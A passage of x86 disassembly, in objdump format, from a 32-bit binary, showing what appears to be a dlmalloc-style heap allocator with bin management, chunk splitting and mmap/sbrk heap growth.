804c7e7: 8b 44 24 38 mov 0x38(%esp),%eax
804c7eb: 89 44 24 20 mov %eax,0x20(%esp)
804c7ef: 8b 44 24 3c mov 0x3c(%esp),%eax
804c7f3: 89 44 24 24 mov %eax,0x24(%esp)
804c7f7: 8b 44 24 40 mov 0x40(%esp),%eax
804c7fb: 89 44 24 28 mov %eax,0x28(%esp)
804c7ff: 8b 44 24 44 mov 0x44(%esp),%eax
804c803: 89 44 24 2c mov %eax,0x2c(%esp)
804c807: 8b 44 24 48 mov 0x48(%esp),%eax
804c80b: 89 44 24 30 mov %eax,0x30(%esp)
804c80f: 8d 44 24 20 lea 0x20(%esp),%eax
804c813: 50 push %eax
804c814: 6a 0e push $0xe
804c816: e8 b4 18 00 00 call 0x804e0cf
804c81b: 83 c4 3c add $0x3c,%esp
804c81e: c3 ret
804c81f: 83 ec 24 sub $0x24,%esp
804c822: 8b 44 24 28 mov 0x28(%esp),%eax
804c826: 89 44 24 18 mov %eax,0x18(%esp)
804c82a: 8b 44 24 2c mov 0x2c(%esp),%eax
804c82e: 89 44 24 1c mov %eax,0x1c(%esp)
804c832: 8b 44 24 30 mov 0x30(%esp),%eax
804c836: 89 44 24 20 mov %eax,0x20(%esp)
804c83a: 8d 44 24 18 lea 0x18(%esp),%eax
804c83e: 50 push %eax
804c83f: 6a 01 push $0x1
804c841: e8 89 18 00 00 call 0x804e0cf
804c846: 83 c4 2c add $0x2c,%esp
804c849: c3 ret
804c84a: 89 c2 mov %eax,%edx
804c84c: 53 push %ebx
804c84d: c1 ea 08 shr $0x8,%edx
804c850: 89 c3 mov %eax,%ebx
804c852: 81 fa ff ff 00 00 cmp $0xffff,%edx
804c858: b8 5f 00 00 00 mov $0x5f,%eax
804c85d: 77 0f ja 0x804c86e
804c85f: 0f bd c2 bsr %edx,%eax
804c862: 8d 48 06 lea 0x6(%eax),%ecx
804c865: d3 eb shr %cl,%ebx
804c867: 83 e3 03 and $0x3,%ebx
804c86a: 8d 44 83 20 lea 0x20(%ebx,%eax,4),%eax
804c86e: 5b pop %ebx
804c86f: c3 ret
804c870: 55 push %ebp
804c871: 57 push %edi
804c872: 56 push %esi
804c873: 53 push %ebx
804c874: 83 ec 40 sub $0x40,%esp
804c877: 8b 5c 24 54 mov 0x54(%esp),%ebx
804c87b: 68 38 f0 04 08 push $0x804f038
804c880: 68 99 dd 04 08 push $0x804dd99
804c885: 8d 44 24 38 lea 0x38(%esp),%eax
804c889: 50 push %eax
804c88a: e8 0d 15 00 00 call 0x804dd9c
804c88f: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804c896: e8 fe 14 00 00 call 0x804dd99
804c89b: 83 c4 10 add $0x10,%esp
804c89e: 83 fb df cmp $0xffffffdf,%ebx
804c8a1: 76 12 jbe 0x804c8b5
804c8a3: e8 0e fd ff ff call 0x804c5b6
804c8a8: 31 db xor %ebx,%ebx
804c8aa: c7 00 0c 00 00 00 movl $0xc,(%eax)
804c8b0: e9 25 07 00 00 jmp 0x804cfda
804c8b5: 8d 43 0b lea 0xb(%ebx),%eax
804c8b8: c7 44 24 14 10 00 00 movl $0x10,0x14(%esp)
804c8bf: 00
804c8c0: 83 f8 0f cmp $0xf,%eax
804c8c3: 76 07 jbe 0x804c8cc
804c8c5: 83 e0 f8 and $0xfffffff8,%eax
804c8c8: 89 44 24 14 mov %eax,0x14(%esp)
804c8cc: 8b 1d 40 f2 04 08 mov 0x804f240,%ebx
804c8d2: f6 c3 01 test $0x1,%bl
804c8d5: 75 1d jne 0x804c8f4
804c8d7: 85 db test %ebx,%ebx
804c8d9: 0f 85 f0 02 00 00 jne 0x804cbcf
804c8df: 83 ec 0c sub $0xc,%esp
804c8e2: 68 40 f2 04 08 push $0x804f240
804c8e7: e8 a1 0b 00 00 call 0x804d48d
804c8ec: 83 c4 10 add $0x10,%esp
804c8ef: e9 db 02 00 00 jmp 0x804cbcf
804c8f4: 39 5c 24 14 cmp %ebx,0x14(%esp)
804c8f8: 77 1b ja 0x804c915
804c8fa: 8b 44 24 14 mov 0x14(%esp),%eax
804c8fe: d1 e8 shr %eax
804c900: 8d 88 40 f2 04 08 lea 0x804f240(%eax),%ecx
804c906: 8b 51 fc mov -0x4(%ecx),%edx
804c909: 85 d2 test %edx,%edx
804c90b: 74 08 je 0x804c915
804c90d: 8b 42 08 mov 0x8(%edx),%eax
804c910: 89 41 fc mov %eax,-0x4(%ecx)
804c913: eb 39 jmp 0x804c94e
804c915: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp)
804c91c: 00
804c91d: 77 37 ja 0x804c956
804c91f: 8b 44 24 14 mov 0x14(%esp),%eax
804c923: c1 e8 03 shr $0x3,%eax
804c926: 89 44 24 24 mov %eax,0x24(%esp)
804c92a: 8d 0c c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%ecx
804c931: 8b 51 0c mov 0xc(%ecx),%edx
804c934: 39 ca cmp %ecx,%edx
804c936: 0f 84 16 01 00 00 je 0x804ca52
804c93c: 8b 5c 24 14 mov 0x14(%esp),%ebx
804c940: 8b 42 0c mov 0xc(%edx),%eax
804c943: 89 41 0c mov %eax,0xc(%ecx)
804c946: 83 4c 1a 04 01 orl $0x1,0x4(%edx,%ebx,1)
804c94b: 89 48 08 mov %ecx,0x8(%eax)
804c94e: 8d 5a 08 lea 0x8(%edx),%ebx
804c951: e9 73 06 00 00 jmp 0x804cfc9
804c956: 8b 44 24 14 mov 0x14(%esp),%eax
804c95a: e8 eb fe ff ff call 0x804c84a
804c95f: 80 e3 02 and $0x2,%bl
804c962: 89 44 24 24 mov %eax,0x24(%esp)
804c966: 0f 84 e6 00 00 00 je 0x804ca52
804c96c: 83 ec 0c sub $0xc,%esp
804c96f: 68 40 f2 04 08 push $0x804f240
804c974: e8 14 0b 00 00 call 0x804d48d
804c979: 83 c4 10 add $0x10,%esp
804c97c: e9 d1 00 00 00 jmp 0x804ca52
804c981: 8b 7d 04 mov 0x4(%ebp),%edi
804c984: 8b 55 0c mov 0xc(%ebp),%edx
804c987: 83 e7 fc and $0xfffffffc,%edi
804c98a: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp)
804c991: 00
804c992: 77 1f ja 0x804c9b3
804c994: 81 fa 74 f2 04 08 cmp $0x804f274,%edx
804c99a: 75 17 jne 0x804c9b3
804c99c: 3b 2d 70 f2 04 08 cmp 0x804f270,%ebp
804c9a2: 75 0f jne 0x804c9b3
804c9a4: 8b 44 24 14 mov 0x14(%esp),%eax
804c9a8: 83 c0 10 add $0x10,%eax
804c9ab: 39 c7 cmp %eax,%edi
804c9ad: 0f 87 b1 05 00 00 ja 0x804cf64
804c9b3: b8 74 f2 04 08 mov $0x804f274,%eax
804c9b8: 89 42 08 mov %eax,0x8(%edx)
804c9bb: 89 50 0c mov %edx,0xc(%eax)
804c9be: 3b 7c 24 14 cmp 0x14(%esp),%edi
804c9c2: 0f 84 dd 05 00 00 je 0x804cfa5
804c9c8: 81 ff ff 00 00 00 cmp $0xff,%edi
804c9ce: 77 11 ja 0x804c9e1
804c9d0: 89 fe mov %edi,%esi
804c9d2: c1 ee 03 shr $0x3,%esi
804c9d5: 8d 1c f5 6c f2 04 08 lea 0x804f26c(,%esi,8),%ebx
804c9dc: 8b 43 08 mov 0x8(%ebx),%eax
804c9df: eb 25 jmp 0x804ca06
804c9e1: 89 f8 mov %edi,%eax
804c9e3: e8 62 fe ff ff call 0x804c84a
804c9e8: 89 c6 mov %eax,%esi
804c9ea: 8d 04 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%eax
804c9f1: 8b 50 08 mov 0x8(%eax),%edx
804c9f4: 89 54 24 0c mov %edx,0xc(%esp)
804c9f8: 89 d3 mov %edx,%ebx
804c9fa: 39 c2 cmp %eax,%edx
804c9fc: 74 2c je 0x804ca2a
804c9fe: 8b 58 0c mov 0xc(%eax),%ebx
804ca01: 3b 7b 04 cmp 0x4(%ebx),%edi
804ca04: 73 06 jae 0x804ca0c
804ca06: 89 44 24 0c mov %eax,0xc(%esp)
804ca0a: eb 1e jmp 0x804ca2a
804ca0c: 89 f8 mov %edi,%eax
804ca0e: 83 c8 01 or $0x1,%eax
804ca11: eb 0b jmp 0x804ca1e
804ca13: 8b 4c 24 0c mov 0xc(%esp),%ecx
804ca17: 8b 49 08 mov 0x8(%ecx),%ecx
804ca1a: 89 4c 24 0c mov %ecx,0xc(%esp)
804ca1e: 8b 5c 24 0c mov 0xc(%esp),%ebx
804ca22: 3b 43 04 cmp 0x4(%ebx),%eax
804ca25: 72 ec jb 0x804ca13
804ca27: 8b 5b 0c mov 0xc(%ebx),%ebx
804ca2a: 89 f2 mov %esi,%edx
804ca2c: 83 e6 1f and $0x1f,%esi
804ca2f: 89 f1 mov %esi,%ecx
804ca31: b8 01 00 00 00 mov $0x1,%eax
804ca36: c1 fa 05 sar $0x5,%edx
804ca39: d3 e0 shl %cl,%eax
804ca3b: 09 04 95 74 f5 04 08 or %eax,0x804f574(,%edx,4)
804ca42: 89 5d 0c mov %ebx,0xc(%ebp)
804ca45: 8b 74 24 0c mov 0xc(%esp),%esi
804ca49: 89 75 08 mov %esi,0x8(%ebp)
804ca4c: 89 6b 08 mov %ebp,0x8(%ebx)
804ca4f: 89 6e 0c mov %ebp,0xc(%esi)
804ca52: 8b 2d 80 f2 04 08 mov 0x804f280,%ebp
804ca58: 81 fd 74 f2 04 08 cmp $0x804f274,%ebp
804ca5e: 0f 85 1d ff ff ff jne 0x804c981
804ca64: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp)
804ca6b: 00
804ca6c: 0f 86 80 00 00 00 jbe 0x804caf2
804ca72: 8b 44 24 24 mov 0x24(%esp),%eax
804ca76: 8d 14 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%edx
804ca7d: 8b 42 0c mov 0xc(%edx),%eax
804ca80: eb 6c jmp 0x804caee
804ca82: 8b 58 04 mov 0x4(%eax),%ebx
804ca85: 8b 48 0c mov 0xc(%eax),%ecx
804ca88: 83 e3 fc and $0xfffffffc,%ebx
804ca8b: 3b 5c 24 14 cmp 0x14(%esp),%ebx
804ca8f: 72 5b jb 0x804caec
804ca91: 8b 50 08 mov 0x8(%eax),%edx
804ca94: 39 42 0c cmp %eax,0xc(%edx)
804ca97: 75 05 jne 0x804ca9e
804ca99: 39 41 08 cmp %eax,0x8(%ecx)
804ca9c: 74 05 je 0x804caa3
804ca9e: e8 2e 0d 00 00 call 0x804d7d1
804caa3: 89 de mov %ebx,%esi
804caa5: 2b 74 24 14 sub 0x14(%esp),%esi
804caa9: 89 4a 0c mov %ecx,0xc(%edx)
804caac: 89 51 08 mov %edx,0x8(%ecx)
804caaf: 83 fe 0f cmp $0xf,%esi
804cab2: 8d 48 08 lea 0x8(%eax),%ecx
804cab5: 0f 86 f8 04 00 00 jbe 0x804cfb3
804cabb: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cabf: 8d 14 18 lea (%eax,%ebx,1),%edx
804cac2: 83 cb 01 or $0x1,%ebx
804cac5: 89 58 04 mov %ebx,0x4(%eax)
804cac8: 89 f0 mov %esi,%eax
804caca: 83 c8 01 or $0x1,%eax
804cacd: 89 55 08 mov %edx,0x8(%ebp)
804cad0: 89 55 0c mov %edx,0xc(%ebp)
804cad3: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx)
804cada: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx)
804cae1: 89 42 04 mov %eax,0x4(%edx)
804cae4: 89 34 32 mov %esi,(%edx,%esi,1)
804cae7: e9 cc 04 00 00 jmp 0x804cfb8
804caec: 89 c8 mov %ecx,%eax
804caee: 39 d0 cmp %edx,%eax
804caf0: 75 90 jne 0x804ca82
804caf2: 8b 4c 24 24 mov 0x24(%esp),%ecx
804caf6: be 01 00 00 00 mov $0x1,%esi
804cafb: 41 inc %ecx
804cafc: 89 cf mov %ecx,%edi
804cafe: c1 ef 05 shr $0x5,%edi
804cb01: 8d 1c cd 6c f2 04 08 lea 0x804f26c(,%ecx,8),%ebx
804cb08: 83 e1 1f and $0x1f,%ecx
804cb0b: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx
804cb12: d3 e6 shl %cl,%esi
804cb14: 39 d6 cmp %edx,%esi
804cb16: 77 04 ja 0x804cb1c
804cb18: 85 f6 test %esi,%esi
804cb1a: 75 2c jne 0x804cb48
804cb1c: 47 inc %edi
804cb1d: 83 ff 02 cmp $0x2,%edi
804cb20: 0f 87 a9 00 00 00 ja 0x804cbcf
804cb26: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx
804cb2d: 85 d2 test %edx,%edx
804cb2f: 74 eb je 0x804cb1c
804cb31: 89 f8 mov %edi,%eax
804cb33: be 01 00 00 00 mov $0x1,%esi
804cb38: c1 e0 08 shl $0x8,%eax
804cb3b: 8d 98 6c f2 04 08 lea 0x804f26c(%eax),%ebx
804cb41: eb 05 jmp 0x804cb48
804cb43: 83 c3 08 add $0x8,%ebx
804cb46: 01 f6 add %esi,%esi
804cb48: 85 f2 test %esi,%edx
804cb4a: 74 f7 je 0x804cb43
804cb4c: 8b 4b 0c mov 0xc(%ebx),%ecx
804cb4f: 39 d9 cmp %ebx,%ecx
804cb51: 75 14 jne 0x804cb67
804cb53: 89 f0 mov %esi,%eax
804cb55: 8d 59 08 lea 0x8(%ecx),%ebx
804cb58: f7 d0 not %eax
804cb5a: 21 c2 and %eax,%edx
804cb5c: 01 f6 add %esi,%esi
804cb5e: 89 14 bd 74 f5 04 08 mov %edx,0x804f574(,%edi,4)
804cb65: eb ad jmp 0x804cb14
804cb67: 8b 51 04 mov 0x4(%ecx),%edx
804cb6a: 8b 41 0c mov 0xc(%ecx),%eax
804cb6d: 83 e2 fc and $0xfffffffc,%edx
804cb70: 89 d6 mov %edx,%esi
804cb72: 2b 74 24 14 sub 0x14(%esp),%esi
804cb76: 89 43 0c mov %eax,0xc(%ebx)
804cb79: 89 58 08 mov %ebx,0x8(%eax)
804cb7c: 83 fe 0f cmp $0xf,%esi
804cb7f: 77 07 ja 0x804cb88
804cb81: 83 4c 11 04 01 orl $0x1,0x4(%ecx,%edx,1)
804cb86: eb 3f jmp 0x804cbc7
804cb88: 8b 44 24 14 mov 0x14(%esp),%eax
804cb8c: 3d ff 00 00 00 cmp $0xff,%eax
804cb91: 8d 14 01 lea (%ecx,%eax,1),%edx
804cb94: 89 55 08 mov %edx,0x8(%ebp)
804cb97: 89 55 0c mov %edx,0xc(%ebp)
804cb9a: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx)
804cba1: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx)
804cba8: 77 06 ja 0x804cbb0
804cbaa: 89 15 70 f2 04 08 mov %edx,0x804f270
804cbb0: 83 4c 24 14 01 orl $0x1,0x14(%esp)
804cbb5: 89 f0 mov %esi,%eax
804cbb7: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cbbb: 83 c8 01 or $0x1,%eax
804cbbe: 89 59 04 mov %ebx,0x4(%ecx)
804cbc1: 89 34 32 mov %esi,(%edx,%esi,1)
804cbc4: 89 42 04 mov %eax,0x4(%edx)
804cbc7: 8d 59 08 lea 0x8(%ecx),%ebx
804cbca: e9 fa 03 00 00 jmp 0x804cfc9
804cbcf: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx
804cbd5: 8b 74 24 14 mov 0x14(%esp),%esi
804cbd9: 83 c6 10 add $0x10,%esi
804cbdc: 8b 4b 04 mov 0x4(%ebx),%ecx
804cbdf: 89 74 24 10 mov %esi,0x10(%esp)
804cbe3: 83 e1 fc and $0xfffffffc,%ecx
804cbe6: 39 f1 cmp %esi,%ecx
804cbe8: 72 1c jb 0x804cc06
804cbea: 8b 44 24 14 mov 0x14(%esp),%eax
804cbee: 8d 14 03 lea (%ebx,%eax,1),%edx
804cbf1: 83 c8 01 or $0x1,%eax
804cbf4: 89 15 6c f2 04 08 mov %edx,0x804f26c
804cbfa: 89 43 04 mov %eax,0x4(%ebx)
804cbfd: 2b 4c 24 14 sub 0x14(%esp),%ecx
804cc01: e9 53 03 00 00 jmp 0x804cf59
804cc06: 8b 15 9c f5 04 08 mov 0x804f59c,%edx
804cc0c: f6 05 40 f2 04 08 02 testb $0x2,0x804f240
804cc13: 74 25 je 0x804cc3a
804cc15: 83 ec 0c sub $0xc,%esp
804cc18: 68 40 f2 04 08 push $0x804f240
804cc1d: e8 6b 08 00 00 call 0x804d48d
804cc22: 5b pop %ebx
804cc23: 8b 44 24 20 mov 0x20(%esp),%eax
804cc27: 83 e8 07 sub $0x7,%eax
804cc2a: 50 push %eax
804cc2b: e8 40 fc ff ff call 0x804c870
804cc30: 83 c4 10 add $0x10,%esp
804cc33: 89 c3 mov %eax,%ebx
804cc35: e9 8f 03 00 00 jmp 0x804cfc9
804cc3a: 8d 4a ff lea -0x1(%edx),%ecx
804cc3d: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cc41: 89 4c 24 18 mov %ecx,0x18(%esp)
804cc45: 3b 1d 8c f5 04 08 cmp 0x804f58c,%ebx
804cc4b: 0f 82 b6 00 00 00 jb 0x804cd07
804cc51: a1 90 f5 04 08 mov 0x804f590,%eax
804cc56: 3b 05 94 f5 04 08 cmp 0x804f594,%eax
804cc5c: 0f 8d a5 00 00 00 jge 0x804cd07
804cc62: 89 c8 mov %ecx,%eax
804cc64: 8d 5c 1a 0a lea 0xa(%edx,%ebx,1),%ebx
804cc68: f7 d0 not %eax
804cc6a: 21 c3 and %eax,%ebx
804cc6c: 3b 5c 24 14 cmp 0x14(%esp),%ebx
804cc70: 0f 86 91 00 00 00 jbe 0x804cd07
804cc76: 51 push %ecx
804cc77: 51 push %ecx
804cc78: 6a 00 push $0x0
804cc7a: 6a 00 push $0x0
804cc7c: 6a 22 push $0x22
804cc7e: 6a 03 push $0x3
804cc80: 53 push %ebx
804cc81: 6a 00 push $0x0
804cc83: e8 2c 14 00 00 call 0x804e0b4
804cc88: 83 c4 20 add $0x20,%esp
804cc8b: 89 c2 mov %eax,%edx
804cc8d: 83 f8 ff cmp $0xffffffff,%eax
804cc90: 74 75 je 0x804cd07
804cc92: 89 c1 mov %eax,%ecx
804cc94: 83 e1 07 and $0x7,%ecx
804cc97: 74 13 je 0x804ccac
804cc99: b8 08 00 00 00 mov $0x8,%eax
804cc9e: 89 de mov %ebx,%esi
804cca0: 29 c8 sub %ecx,%eax
804cca2: 01 c2 add %eax,%edx
804cca4: 29 c6 sub %eax,%esi
804cca6: 89 02 mov %eax,(%edx)
804cca8: 89 f0 mov %esi,%eax
804ccaa: eb 08 jmp 0x804ccb4
804ccac: c7 00 00 00 00 00 movl $0x0,(%eax)
804ccb2: 89 d8 mov %ebx,%eax
804ccb4: 83 c8 02 or $0x2,%eax
804ccb7: 89 42 04 mov %eax,0x4(%edx)
804ccba: a1 90 f5 04 08 mov 0x804f590,%eax
804ccbf: 40 inc %eax
804ccc0: a3 90 f5 04 08 mov %eax,0x804f590
804ccc5: 3b 05 98 f5 04 08 cmp 0x804f598,%eax
804cccb: 7e 05 jle 0x804ccd2
804cccd: a3 98 f5 04 08 mov %eax,0x804f598
804ccd2: a1 a4 f5 04 08 mov 0x804f5a4,%eax
804ccd7: 01 d8 add %ebx,%eax
804ccd9: a3 a4 f5 04 08 mov %eax,0x804f5a4
804ccde: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax
804cce4: 76 05 jbe 0x804cceb
804cce6: a3 b0 f5 04 08 mov %eax,0x804f5b0
804cceb: 03 05 a8 f5 04 08 add 0x804f5a8,%eax
804ccf1: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax
804ccf7: 0f 86 51 fc ff ff jbe 0x804c94e
804ccfd: a3 b4 f5 04 08 mov %eax,0x804f5b4
804cd02: e9 47 fc ff ff jmp 0x804c94e
804cd07: a1 6c f2 04 08 mov 0x804f26c,%eax
804cd0c: 89 44 24 1c mov %eax,0x1c(%esp)
804cd10: 8b 68 04 mov 0x4(%eax),%ebp
804cd13: 8b 44 24 14 mov 0x14(%esp),%eax
804cd17: 83 c0 10 add $0x10,%eax
804cd1a: 83 e5 fc and $0xfffffffc,%ebp
804cd1d: 03 05 88 f5 04 08 add 0x804f588,%eax
804cd23: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0
804cd2a: 74 02 je 0x804cd2e
804cd2c: 29 e8 sub %ebp,%eax
804cd2e: 8b 54 24 18 mov 0x18(%esp),%edx
804cd32: 03 44 24 18 add 0x18(%esp),%eax
804cd36: f7 d2 not %edx
804cd38: 89 d6 mov %edx,%esi
804cd3a: 89 54 24 20 mov %edx,0x20(%esp)
804cd3e: 21 c6 and %eax,%esi
804cd40: 7e 16 jle 0x804cd58
804cd42: 83 ec 0c sub $0xc,%esp
804cd45: 56 push %esi
804cd46: e8 1a 18 00 00 call 0x804e565
804cd4b: 83 c4 10 add $0x10,%esp
804cd4e: 83 ca ff or $0xffffffff,%edx
804cd51: 89 c3 mov %eax,%ebx
804cd53: 83 f8 ff cmp $0xffffffff,%eax
804cd56: 75 56 jne 0x804cdae
804cd58: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0
804cd5f: 74 0c je 0x804cd6d
804cd61: 8b 44 24 18 mov 0x18(%esp),%eax
804cd65: 01 e8 add %ebp,%eax
804cd67: 01 c6 add %eax,%esi
804cd69: 23 74 24 20 and 0x20(%esp),%esi
804cd6d: 81 fe ff ff 0f 00 cmp $0xfffff,%esi
804cd73: 77 05 ja 0x804cd7a
804cd75: be 00 00 10 00 mov $0x100000,%esi
804cd7a: 3b 74 24 14 cmp 0x14(%esp),%esi
804cd7e: 0f 86 38 02 00 00 jbe 0x804cfbc
804cd84: 52 push %edx
804cd85: 52 push %edx
804cd86: 6a 00 push $0x0
804cd88: 6a 00 push $0x0
804cd8a: 6a 22 push $0x22
804cd8c: 6a 03 push $0x3
804cd8e: 56 push %esi
804cd8f: 6a 00 push $0x0
804cd91: e8 1e 13 00 00 call 0x804e0b4
804cd96: 83 c4 20 add $0x20,%esp
804cd99: 89 c3 mov %eax,%ebx
804cd9b: 83 f8 ff cmp $0xffffffff,%eax
804cd9e: 0f 84 18 02 00 00 je 0x804cfbc
804cda4: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0
804cdab: 8d 14 30 lea (%eax,%esi,1),%edx
804cdae: 83 fb ff cmp $0xffffffff,%ebx
804cdb1: 0f 84 05 02 00 00 je 0x804cfbc
804cdb7: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804cdbb: 01 35 a8 f5 04 08 add %esi,0x804f5a8
804cdc1: 01 e9 add %ebp,%ecx
804cdc3: 39 cb cmp %ecx,%ebx
804cdc5: 75 17 jne 0x804cdde
804cdc7: 83 fa ff cmp $0xffffffff,%edx
804cdca: 75 12 jne 0x804cdde
804cdcc: 8d 04 2e lea (%esi,%ebp,1),%eax
804cdcf: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804cdd3: 83 c8 01 or $0x1,%eax
804cdd6: 89 41 04 mov %eax,0x4(%ecx)
804cdd9: e9 2d 01 00 00 jmp 0x804cf0b
804cdde: a1 a0 f5 04 08 mov 0x804f5a0,%eax
804cde3: a8 01 test $0x1,%al
804cde5: 74 10 je 0x804cdf7
804cde7: 85 ed test %ebp,%ebp
804cde9: 74 0c je 0x804cdf7
804cdeb: 39 cb cmp %ecx,%ebx
804cded: 73 08 jae 0x804cdf7
804cdef: 83 e0 fe and $0xfffffffe,%eax
804cdf2: a3 a0 f5 04 08 mov %eax,0x804f5a0
804cdf7: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0
804cdfe: 74 75 je 0x804ce75
804ce00: 85 ed test %ebp,%ebp
804ce02: 74 0a je 0x804ce0e
804ce04: 89 d8 mov %ebx,%eax
804ce06: 29 c8 sub %ecx,%eax
804ce08: 01 05 a8 f5 04 08 add %eax,0x804f5a8
804ce0e: 89 da mov %ebx,%edx
804ce10: 83 e2 07 and $0x7,%edx
804ce13: 75 06 jne 0x804ce1b
804ce15: 89 df mov %ebx,%edi
804ce17: 31 c0 xor %eax,%eax
804ce19: eb 0a jmp 0x804ce25
804ce1b: b8 08 00 00 00 mov $0x8,%eax
804ce20: 29 d0 sub %edx,%eax
804ce22: 8d 3c 03 lea (%ebx,%eax,1),%edi
804ce25: 8d 34 33 lea (%ebx,%esi,1),%esi
804ce28: 8d 0c 28 lea (%eax,%ebp,1),%ecx
804ce2b: 89 f2 mov %esi,%edx
804ce2d: 89 74 24 28 mov %esi,0x28(%esp)
804ce31: 01 ca add %ecx,%edx
804ce33: 8b 74 24 18 mov 0x18(%esp),%esi
804ce37: 8d 04 32 lea (%edx,%esi,1),%eax
804ce3a: 23 44 24 20 and 0x20(%esp),%eax
804ce3e: 83 ec 0c sub $0xc,%esp
804ce41: 29 d0 sub %edx,%eax
804ce43: 8d 34 01 lea (%ecx,%eax,1),%esi
804ce46: 56 push %esi
804ce47: e8 19 17 00 00 call 0x804e565
804ce4c: 83 c4 10 add $0x10,%esp
804ce4f: 89 c2 mov %eax,%edx
804ce51: 83 f8 ff cmp $0xffffffff,%eax
804ce54: 75 0e jne 0x804ce64
804ce56: 83 ec 0c sub $0xc,%esp
804ce59: 6a 00 push $0x0
804ce5b: e8 05 17 00 00 call 0x804e565
804ce60: 89 c2 mov %eax,%edx
804ce62: eb 34 jmp 0x804ce98
804ce64: 39 d8 cmp %ebx,%eax
804ce66: 73 35 jae 0x804ce9d
804ce68: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0
804ce6f: 8b 54 24 28 mov 0x28(%esp),%edx
804ce73: eb 07 jmp 0x804ce7c
804ce75: 83 fa ff cmp $0xffffffff,%edx
804ce78: 74 06 je 0x804ce80
804ce7a: 89 df mov %ebx,%edi
804ce7c: 31 f6 xor %esi,%esi
804ce7e: eb 1d jmp 0x804ce9d
804ce80: 83 ec 0c sub $0xc,%esp
804ce83: 89 df mov %ebx,%edi
804ce85: 6a 00 push $0x0
804ce87: e8 d9 16 00 00 call 0x804e565
804ce8c: 89 c2 mov %eax,%edx
804ce8e: 29 d8 sub %ebx,%eax
804ce90: 29 f0 sub %esi,%eax
804ce92: 01 05 a8 f5 04 08 add %eax,0x804f5a8
804ce98: 31 f6 xor %esi,%esi
804ce9a: 83 c4 10 add $0x10,%esp
804ce9d: 83 fa ff cmp $0xffffffff,%edx
804cea0: 74 69 je 0x804cf0b
804cea2: 29 fa sub %edi,%edx
804cea4: 89 3d 6c f2 04 08 mov %edi,0x804f26c
804ceaa: 8d 04 32 lea (%edx,%esi,1),%eax
804cead: 83 c8 01 or $0x1,%eax
804ceb0: 89 47 04 mov %eax,0x4(%edi)
804ceb3: 01 35 a8 f5 04 08 add %esi,0x804f5a8
804ceb9: 85 ed test %ebp,%ebp
804cebb: 74 4e je 0x804cf0b
804cebd: 8d 45 f4 lea -0xc(%ebp),%eax
804cec0: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804cec4: 83 e0 f8 and $0xfffffff8,%eax
804cec7: 89 c2 mov %eax,%edx
804cec9: 83 ca 01 or $0x1,%edx
804cecc: 83 f8 0f cmp $0xf,%eax
804cecf: 89 51 04 mov %edx,0x4(%ecx)
804ced2: c7 44 01 04 05 00 00 movl $0x5,0x4(%ecx,%eax,1)
804ced9: 00
804ceda: c7 44 01 08 05 00 00 movl $0x5,0x8(%ecx,%eax,1)
804cee1: 00
804cee2: 76 27 jbe 0x804cf0b
804cee4: 83 ec 0c sub $0xc,%esp
804cee7: 89 c8 mov %ecx,%eax
804cee9: 83 c0 08 add $0x8,%eax
804ceec: 8b 1d 84 f5 04 08 mov 0x804f584,%ebx
804cef2: 50 push %eax
804cef3: c7 05 84 f5 04 08 ff movl $0xffffffff,0x804f584
804cefa: ff ff ff
804cefd: e8 33 07 00 00 call 0x804d635
804cf02: 89 1d 84 f5 04 08 mov %ebx,0x804f584
804cf08: 83 c4 10 add $0x10,%esp
804cf0b: a1 a8 f5 04 08 mov 0x804f5a8,%eax
804cf10: 3b 05 ac f5 04 08 cmp 0x804f5ac,%eax
804cf16: 76 05 jbe 0x804cf1d
804cf18: a3 ac f5 04 08 mov %eax,0x804f5ac
804cf1d: 03 05 a4 f5 04 08 add 0x804f5a4,%eax
804cf23: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax
804cf29: 76 05 jbe 0x804cf30
804cf2b: a3 b4 f5 04 08 mov %eax,0x804f5b4
804cf30: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx
804cf36: 8b 4b 04 mov 0x4(%ebx),%ecx
804cf39: 83 e1 fc and $0xfffffffc,%ecx
804cf3c: 3b 4c 24 10 cmp 0x10(%esp),%ecx
804cf40: 72 7a jb 0x804cfbc
804cf42: 8b 74 24 14 mov 0x14(%esp),%esi
804cf46: 89 f0 mov %esi,%eax
804cf48: 29 f1 sub %esi,%ecx
804cf4a: 8d 14 33 lea (%ebx,%esi,1),%edx
804cf4d: 83 c8 01 or $0x1,%eax
804cf50: 89 15 6c f2 04 08 mov %edx,0x804f26c
804cf56: 89 43 04 mov %eax,0x4(%ebx)
804cf59: 83 c9 01 or $0x1,%ecx
804cf5c: 83 c3 08 add $0x8,%ebx
804cf5f: 89 4a 04 mov %ecx,0x4(%edx)
804cf62: eb 65 jmp 0x804cfc9
804cf64: 8b 4c 24 14 mov 0x14(%esp),%ecx
804cf68: 89 f8 mov %edi,%eax
804cf6a: 2b 44 24 14 sub 0x14(%esp),%eax
804cf6e: 8d 54 0d 00 lea 0x0(%ebp,%ecx,1),%edx
804cf72: 83 c9 01 or $0x1,%ecx
804cf75: 89 15 70 f2 04 08 mov %edx,0x804f270
